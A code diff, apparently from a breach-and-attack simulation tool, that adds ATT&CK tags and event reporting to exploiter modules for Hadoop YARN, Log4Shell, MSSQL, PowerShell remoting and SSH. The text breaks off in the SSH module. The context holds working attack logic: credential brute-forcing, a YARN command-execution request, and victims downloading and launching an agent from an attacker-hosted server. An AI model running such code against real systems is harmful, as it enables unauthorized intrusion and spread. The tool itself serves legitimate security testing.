import random
|
import random
|
||||||
import string
|
import string
|
||||||
|
from time import time
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
|
from common.tags import (
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
@ -23,6 +30,10 @@ from infection_monkey.model import (
|
||||||
)
|
)
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
|
||||||
|
|
||||||
|
|
||||||
class HadoopExploiter(WebRCE):
|
class HadoopExploiter(WebRCE):
|
||||||
_EXPLOITED_SERVICE = "Hadoop"
|
_EXPLOITED_SERVICE = "Hadoop"
|
||||||
|
@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
|
||||||
# Random string's length that's used for creating unique app name
|
# Random string's length that's used for creating unique app name
|
||||||
RAN_STR_LEN = 6
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||||
|
|
||||||
|
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(HadoopExploiter, self).__init__()
|
super(HadoopExploiter, self).__init__()
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
# Try to get exploitable url
|
# Try to get potential urls
|
||||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||||
self.add_vulnerable_urls(urls, True)
|
if not potential_urls:
|
||||||
if not self.vulnerable_urls:
|
self.exploit_result.error_message = (
|
||||||
|
f"No potential exploitable urls has been found for {self.host}"
|
||||||
|
)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
|
||||||
except KeyError:
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
||||||
)
|
)
|
||||||
|
|
||||||
|
command = self._build_command(monkey_path_on_victim, http_path)
|
||||||
try:
|
try:
|
||||||
command = self._build_command(monkey_path_on_victim, http_path)
|
for url in potential_urls:
|
||||||
|
if self.exploit(url, command):
|
||||||
if self.exploit(self.vulnerable_urls[0], command):
|
self.add_executed_cmd(command)
|
||||||
self.add_executed_cmd(command)
|
self.exploit_result.exploitation_success = True
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
self.exploit_result.propagation_success = True
|
break
|
||||||
finally:
|
finally:
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url: str, command: str):
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return False
|
return False
|
||||||
|
@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
||||||
)
|
)
|
||||||
resp = json.loads(resp.content)
|
resp_dict = json.loads(resp.content)
|
||||||
app_id = resp["application-id"]
|
app_id = resp_dict["application-id"]
|
||||||
|
|
||||||
# Create a random name for our application in YARN
|
# Create a random name for our application in YARN
|
||||||
# random.SystemRandom can block indefinitely in Linux
|
# random.SystemRandom can block indefinitely in Linux
|
||||||
|
@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||||
)
|
)
|
||||||
return resp.status_code == 202
|
|
||||||
|
success = resp.status_code == 202
|
||||||
|
message = "" if success else f"Failed to exploit via {url}"
|
||||||
|
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||||
|
self._publish_propagation_event(timestamp, success, error_message=message)
|
||||||
|
return success
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def check_if_exploitable(self, url):
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -4,6 +4,11 @@ from pathlib import PurePath
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
|
from common.tags import (
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from common.utils import Timer
|
from common.utils import Timer
|
||||||
from infection_monkey.exploit.log4shell_utils import (
|
from infection_monkey.exploit.log4shell_utils import (
|
||||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||||
|
@ -26,12 +31,26 @@ from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
|
||||||
|
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
|
||||||
|
|
||||||
|
|
||||||
class Log4ShellExploiter(WebRCE):
|
class Log4ShellExploiter(WebRCE):
|
||||||
_EXPLOITED_SERVICE = "Log4j"
|
_EXPLOITED_SERVICE = "Log4j"
|
||||||
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
|
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||||
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (
|
||||||
|
LOG4SHELL_EXPLOITER_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
_PROPAGATION_TAGS = (
|
||||||
|
LOG4SHELL_EXPLOITER_TAG,
|
||||||
|
T1203_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
|
||||||
def _exploit_host(self) -> ExploiterResultData:
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
self._open_ports = [
|
self._open_ports = [
|
||||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||||
|
@ -146,24 +165,37 @@ class Log4ShellExploiter(WebRCE):
|
||||||
f"on port {port}"
|
f"on port {port}"
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
|
timestamp = time.time()
|
||||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||||
except Exception as ex:
|
except Exception as err:
|
||||||
logger.warning(
|
error_message = (
|
||||||
"An error occurred while attempting to exploit log4shell on a "
|
"An error occurred while attempting to exploit log4shell on a "
|
||||||
f"potential {exploit.service_name} service: {ex}"
|
f"potential {exploit.service_name} service: {err}"
|
||||||
)
|
)
|
||||||
|
|
||||||
if self._wait_for_victim():
|
logger.warning(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
|
|
||||||
|
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
|
||||||
|
# exception. Is that the desired behavior?
|
||||||
|
if self._wait_for_victim(timestamp):
|
||||||
self.exploit_info["vulnerable_service"] = {
|
self.exploit_info["vulnerable_service"] = {
|
||||||
"service_name": exploit.service_name,
|
"service_name": exploit.service_name,
|
||||||
"port": port,
|
"port": port,
|
||||||
}
|
}
|
||||||
self.exploit_info["vulnerable_urls"].append(url)
|
self.exploit_info["vulnerable_urls"].append(url)
|
||||||
|
|
||||||
def _wait_for_victim(self) -> bool:
|
def _wait_for_victim(self, timestamp: float) -> bool:
|
||||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||||
if victim_called_back:
|
if victim_called_back:
|
||||||
self._wait_for_victim_to_download_agent()
|
self._publish_exploitation_event(timestamp, True)
|
||||||
|
|
||||||
|
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
|
||||||
|
self._publish_propagation_event(success=victim_downloaded_agent)
|
||||||
|
else:
|
||||||
|
error_message = "Timed out while waiting for victim to download the java bytecode"
|
||||||
|
logger.debug(error_message)
|
||||||
|
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||||
|
|
||||||
return victim_called_back
|
return victim_called_back
|
||||||
|
|
||||||
|
@ -176,19 +208,20 @@ class Log4ShellExploiter(WebRCE):
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
return True
|
return True
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||||
|
|
||||||
logger.debug("Timed out while waiting for victim to download the java bytecode")
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def _wait_for_victim_to_download_agent(self):
|
def _wait_for_victim_to_download_agent(self) -> bool:
|
||||||
timer = Timer()
|
timer = Timer()
|
||||||
timer.set(LONG_REQUEST_TIMEOUT)
|
timer.set(LONG_REQUEST_TIMEOUT)
|
||||||
|
|
||||||
while not timer.is_expired():
|
while not timer.is_expired():
|
||||||
if self._agent_http_server_thread.downloads > 0:
|
if self._agent_http_server_thread.downloads > 0:
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
break
|
return True
|
||||||
|
|
||||||
# TODO: if the http server got an error we're waiting for nothing here
|
# TODO: if the http server got an error we're waiting for nothing here
|
||||||
time.sleep(1)
|
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
|
@ -1,12 +1,18 @@
|
||||||
import logging
|
import logging
|
||||||
from pathlib import PureWindowsPath
|
from pathlib import PureWindowsPath
|
||||||
from time import sleep
|
from time import sleep, time
|
||||||
from typing import Sequence, Tuple
|
from typing import Iterable, Optional, Tuple
|
||||||
|
|
||||||
import pymssql
|
import pymssql
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||||
from common.credentials import get_plaintext
|
from common.credentials import get_plaintext
|
||||||
|
from common.tags import (
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1210_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||||
|
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
|
||||||
|
|
||||||
|
|
||||||
class MSSQLExploiter(HostExploiter):
|
class MSSQLExploiter(HostExploiter):
|
||||||
_EXPLOITED_SERVICE = "MSSQL"
|
_EXPLOITED_SERVICE = "MSSQL"
|
||||||
|
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||||
|
_PROPAGATION_TAGS = (
|
||||||
|
MSSQL_EXPLOITER_TAG,
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super().__init__()
|
super().__init__()
|
||||||
self.cursor = None
|
self.cursor = None
|
||||||
self.agent_http_path = None
|
self.agent_http_path = None
|
||||||
|
|
||||||
def _exploit_host(self) -> ExploiterResultData:
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
agent_path_on_victim = get_agent_dst_path(self.host)
|
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
|
||||||
|
|
||||||
# Brute force to get connection
|
# Brute force to get connection
|
||||||
creds = generate_identity_secret_pairs(
|
creds = generate_identity_secret_pairs(
|
||||||
|
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
logger.info(
|
error_message = (
|
||||||
f"Failed brute-forcing of MSSQL server on {self.host},"
|
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||||
f" no credentials were successful"
|
f" no credentials were successful"
|
||||||
)
|
)
|
||||||
|
logger.error(error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
self._upload_agent(agent_path_on_victim)
|
self._upload_agent(agent_path_on_victim)
|
||||||
self._run_agent(agent_path_on_victim)
|
self._run_agent(agent_path_on_victim)
|
||||||
|
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
logger.error(error_message)
|
logger.error(error_message)
|
||||||
|
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||||
self.exploit_result.error_message = error_message
|
self.exploit_result.error_message = error_message
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
self._publish_propagation_event(timestamp, True)
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def _brute_force(
|
def _brute_force(
|
||||||
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
|
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
|
||||||
) -> pymssql.Cursor:
|
) -> pymssql.Cursor:
|
||||||
"""
|
"""
|
||||||
Starts the brute force connection attempts and if needed then init the payload process.
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
|
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
for user, password in credentials_iterator:
|
for user, password in credentials_iterator:
|
||||||
|
timestamp = time()
|
||||||
try:
|
try:
|
||||||
# Core steps
|
# Core steps
|
||||||
# Trying to connect
|
# Trying to connect
|
||||||
|
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||||
self.report_login_attempt(True, user, password)
|
self._report_login_attempt(timestamp, True, user, password)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
|
|
||||||
return cursor
|
return cursor
|
||||||
except pymssql.OperationalError as err:
|
except pymssql.OperationalError as err:
|
||||||
logger.info(f"Connection to MSSQL failed: {err}")
|
error_message = f"Connection to MSSQL failed: {err}"
|
||||||
self.report_login_attempt(False, user, password)
|
logger.info(error_message)
|
||||||
# Combo didn't work, hopping to the next one
|
self._report_login_attempt(timestamp, False, user, password, error_message)
|
||||||
pass
|
|
||||||
|
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||||
|
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def _report_login_attempt(
|
||||||
|
self, timestamp: float, success: bool, user, password: str, message: str = ""
|
||||||
|
):
|
||||||
|
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||||
|
self.report_login_attempt(success, user, password)
|
||||||
|
|
||||||
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||||
http_thread = self._start_agent_server(agent_path_on_victim)
|
http_thread = self._start_agent_server(agent_path_on_victim)
|
||||||
|
|
||||||
self._run_agent_download_command(agent_path_on_victim)
|
self._run_agent_download_command(agent_path_on_victim)
|
||||||
|
|
||||||
MSSQLExploiter._stop_agent_server(http_thread)
|
if http_thread:
|
||||||
|
MSSQLExploiter._stop_agent_server(http_thread)
|
||||||
|
|
||||||
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
def _start_agent_server(
|
||||||
|
self, agent_path_on_victim: PureWindowsPath
|
||||||
|
) -> Optional[LockedHTTPServer]:
|
||||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
||||||
)
|
)
|
||||||
|
@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
||||||
agent_args = build_monkey_commandline(
|
agent_args = build_monkey_commandline(
|
||||||
self.servers, self.current_depth + 1, agent_path_on_victim
|
self.servers, self.current_depth + 1, str(agent_path_on_victim)
|
||||||
)
|
)
|
||||||
|
|
||||||
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
||||||
|
|
|
@ -1,8 +1,14 @@
|
||||||
import logging
|
import logging
|
||||||
from pathlib import Path, PurePath
|
from pathlib import Path, PurePath
|
||||||
|
from time import time
|
||||||
from typing import List, Optional
|
from typing import List, Optional
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
|
from common.tags import (
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
|
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
|
||||||
from infection_monkey.exploit.powershell_utils.credentials import (
|
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||||
|
@ -21,6 +27,7 @@ from infection_monkey.utils.environment import is_windows_os
|
||||||
from infection_monkey.utils.threading import interruptible_iter
|
from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
|
||||||
|
|
||||||
|
|
||||||
class RemoteAgentCopyError(Exception):
|
class RemoteAgentCopyError(Exception):
|
||||||
|
@ -34,6 +41,17 @@ class RemoteAgentExecutionError(Exception):
|
||||||
class PowerShellExploiter(HostExploiter):
|
class PowerShellExploiter(HostExploiter):
|
||||||
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
||||||
|
|
||||||
|
_EXPLOITER_TAGS = (
|
||||||
|
POWERSHELL_EXPLOITER_TAG,
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
_PROPAGATION_TAGS = (
|
||||||
|
POWERSHELL_EXPLOITER_TAG,
|
||||||
|
T1059_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super().__init__()
|
super().__init__()
|
||||||
self._client = None
|
self._client = None
|
||||||
|
@ -68,12 +86,21 @@ class PowerShellExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
execute_agent_timestamp = time()
|
||||||
try:
|
try:
|
||||||
self._execute_monkey_agent_on_victim()
|
self._execute_monkey_agent_on_victim()
|
||||||
self.exploit_result.propagation_success = True
|
except Exception as err:
|
||||||
except Exception as ex:
|
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
|
||||||
logger.error(f"Failed to propagate to the remote host: {ex}")
|
self._publish_propagation_event(
|
||||||
self.exploit_result.error_message = str(ex)
|
time=execute_agent_timestamp,
|
||||||
|
success=False,
|
||||||
|
error_message=self.exploit_result.error_message,
|
||||||
|
)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
self._publish_propagation_event(time=execute_agent_timestamp, success=True)
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
@ -94,21 +121,27 @@ class PowerShellExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
||||||
|
connect_timestamp = time()
|
||||||
client.connect()
|
client.connect()
|
||||||
logger.info(
|
logger.info(
|
||||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||||
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
self._publish_exploitation_event(time=connect_timestamp, success=True)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self._report_login_attempt(True, creds)
|
self._report_login_attempt(True, creds)
|
||||||
|
|
||||||
return client
|
return client
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
logger.debug(
|
error_message = (
|
||||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||||
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||||
)
|
)
|
||||||
|
logger.debug(error_message)
|
||||||
|
self._publish_exploitation_event(
|
||||||
|
time=connect_timestamp, success=False, error_message=error_message
|
||||||
|
)
|
||||||
self._report_login_attempt(False, creds)
|
self._report_login_attempt(False, creds)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
|
@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
|
||||||
if credentials.secret_type == SecretType.CACHED:
|
if credentials.secret_type == SecretType.CACHED:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
plaintext_secret = get_plaintext(credentials.secret)
|
plaintext_secret = str(get_plaintext(credentials.secret))
|
||||||
|
|
||||||
if credentials.secret_type == SecretType.PASSWORD:
|
if credentials.secret_type == SecretType.PASSWORD:
|
||||||
return plaintext_secret
|
return plaintext_secret
|
||||||
|
|
|
@ -1,15 +1,27 @@
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
|
from ipaddress import IPv4Address
|
||||||
from pathlib import PurePath
|
from pathlib import PurePath
|
||||||
|
from time import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
|
from common.agent_events import TCPScanEvent
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
from common.credentials import get_plaintext
|
from common.credentials import get_plaintext
|
||||||
|
from common.tags import (
|
||||||
|
T1021_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1105_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1110_ATTACK_TECHNIQUE_TAG,
|
||||||
|
T1222_ATTACK_TECHNIQUE_TAG,
|
||||||
|
)
|
||||||
|
from common.types import PortStatus
|
||||||
from common.utils import Timer
|
from common.utils import Timer
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
|
from infection_monkey.exploit import RetrievalError
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
|
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
from infection_monkey.utils.ids import get_agent_id
|
||||||
from infection_monkey.utils.threading import interruptible_iter
|
from infection_monkey.utils.threading import interruptible_iter
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||||
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||||
|
|
||||||
TRANSFER_UPDATE_RATE = 15
|
TRANSFER_UPDATE_RATE = 15
|
||||||
|
SSH_EXPLOITER_TAG = "ssh-exploiter"
|
||||||
|
|
||||||
|
|
||||||
class SSHExploiter(HostExploiter):
|
class SSHExploiter(HostExploiter):
|
||||||
_EXPLOITED_SERVICE = "SSH"
|
